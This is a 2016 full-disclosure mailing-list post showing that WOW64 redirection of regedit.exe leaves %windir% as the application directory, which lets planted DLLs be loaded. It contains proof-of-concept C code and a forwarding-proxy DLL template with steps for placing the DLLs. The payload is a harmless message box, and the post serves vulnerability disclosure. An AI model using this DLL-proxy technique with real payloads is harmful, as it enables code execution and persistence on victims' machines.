[<prev] [next>] [day] [month] [year] [list]
Message-ID: <D6E8C80DF53A435793E532A2058A8A91@W340>
Date: Thu, 20 Oct 2016 12:53:01 +0200
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <fulldisclosure@...lists.org>
Cc: <bugtraq@...urityfocus.com>
Subject: Defense in depth -- the Microsoft way (part 45): filesystem redirection fails to redirect the application directory
Hi @ll,
on x64 editions of Windows, RegEdit.exe exists both as
%windir%\regedit.exe and %windir%\SysWOW64\regedit.exe.
<https://msdn.microsoft.com/en-us/library/aa384187.aspx> states
| [...] whenever a 32-bit application attempts to access [...]
| %windir%\regedit.exe is redirected to %windir%\SysWOW64\regedit.exe.
But what is the "application directory" when a 32-bit application
runs %windir%\regedit.exe?
Is it %windir% or %windir%\SysWOW64, i.e. is it determined before
or after the redirection?
Remember that the "application directory" comes first in the
standard/default DLL search order, as documented in
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>
Since the 32-bit system DLLs are located in %windir%\SysWOW64, NOT
in %windir%, this makes a difference...
1. compile the following source as 32-bit program:
--- POC.C ---
#pragma comment(lib, "KERNEL32.LIB")
#pragma comment(linker, "/ENTRY:WinMainCRTStartup")
#pragma comment(linker, "/SUBSYSTEM:Windows")
#include <windows.h>
void WinMainCRTStartup()
{
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};
if (!CreateProcess("C:\\Windows\\regedit.exe", "* /M",
NULL, NULL, FALSE, 0L, NULL, NULL, &si, &pi))
ExitProcess(GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
ExitProcess(GetLastError());
if (!CloseHandle(pi.hThread))
ExitProcess(GetLastError());
if (!CloseHandle(pi.hProcess))
ExitProcess(GetLastError());
ExitProcess(ERROR_SUCCESS);
}
--- EOF ---
2. download <http://home.arcor.de/skanthak/temp/REGEDIT.CAB> and
extract its contents to %windir%:
WUSA.EXE /Extract:REGEDIT.CAB %windir%
(yes, this needs administrative privileges, but that's NOT the
point here).
The 32-bit DLLs in REGEDIT.CAB are transparent proxies: they
export all symbols and ordinals of their counterparts found in
the "system directory" and forward them to these counterparts.
--- FORWARD.C ---
#pragma comment(linker, "/DLL")
#pragma comment(linker, "/ENTRY:_DllMainCRTStartup")
#pragma comment(linker, "/EXPORT:<symbol>=System32\\<filename>.<symbol>,@<ordinal>")
...
#pragma comment(linker, "/EXPORT:<ordinal>=System32\\<filename>.#<ordinal>,@<ordinal>,NONAME")
...
#pragma comment(linker, "/SUBSYSTEM:Windows")
#include <windows.h>
BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
MessageBox(...);
return TRUE;
}
--- EOF ---
See <http://home.arcor.de/skanthak/sentinel.html> for details.
3. run the program compiled in step 1: notice the message boxes
displayed from the DLLs extracted to %windir% in step 2 and
loaded by %windir%\SysWOW64\regedit.exe: the "application
directory" of %windir%\SysWOW64\regedit.exe is %windir%\, NOT
%windir%\SysWOW64\!
Or use the 32-bit NTSD.EXE run %windir%\regedit.exe: you'll see
the message boxes too plus the debugger output as shown in
<http://home.arcor.de/skanthak/temp/REGEDIT.TXT>
4. finally use the 64-bit NTSD.EXE to run %windir%\regedit.exe:
see <http://home.arcor.de/skanthak/temp/REGEDIT.LOG> for the
debugger output.
Notice that the 32-bit forwarder DLLs are loaded in the 64-bit
process and that their exports/forwards are processed properly!
Their DllMain() extry points are but NOT called (if they were
you'd see some message boxes)!
stay tuned
Stefan Kanthak
PS: the test whether 64-bit forwarder DLLs placed in %windir% are
loaded in the 32-bit process %windir%\SysWOW64\regedit.exe is
left as an exercise to the reader.
Powered by blists - more mailing lists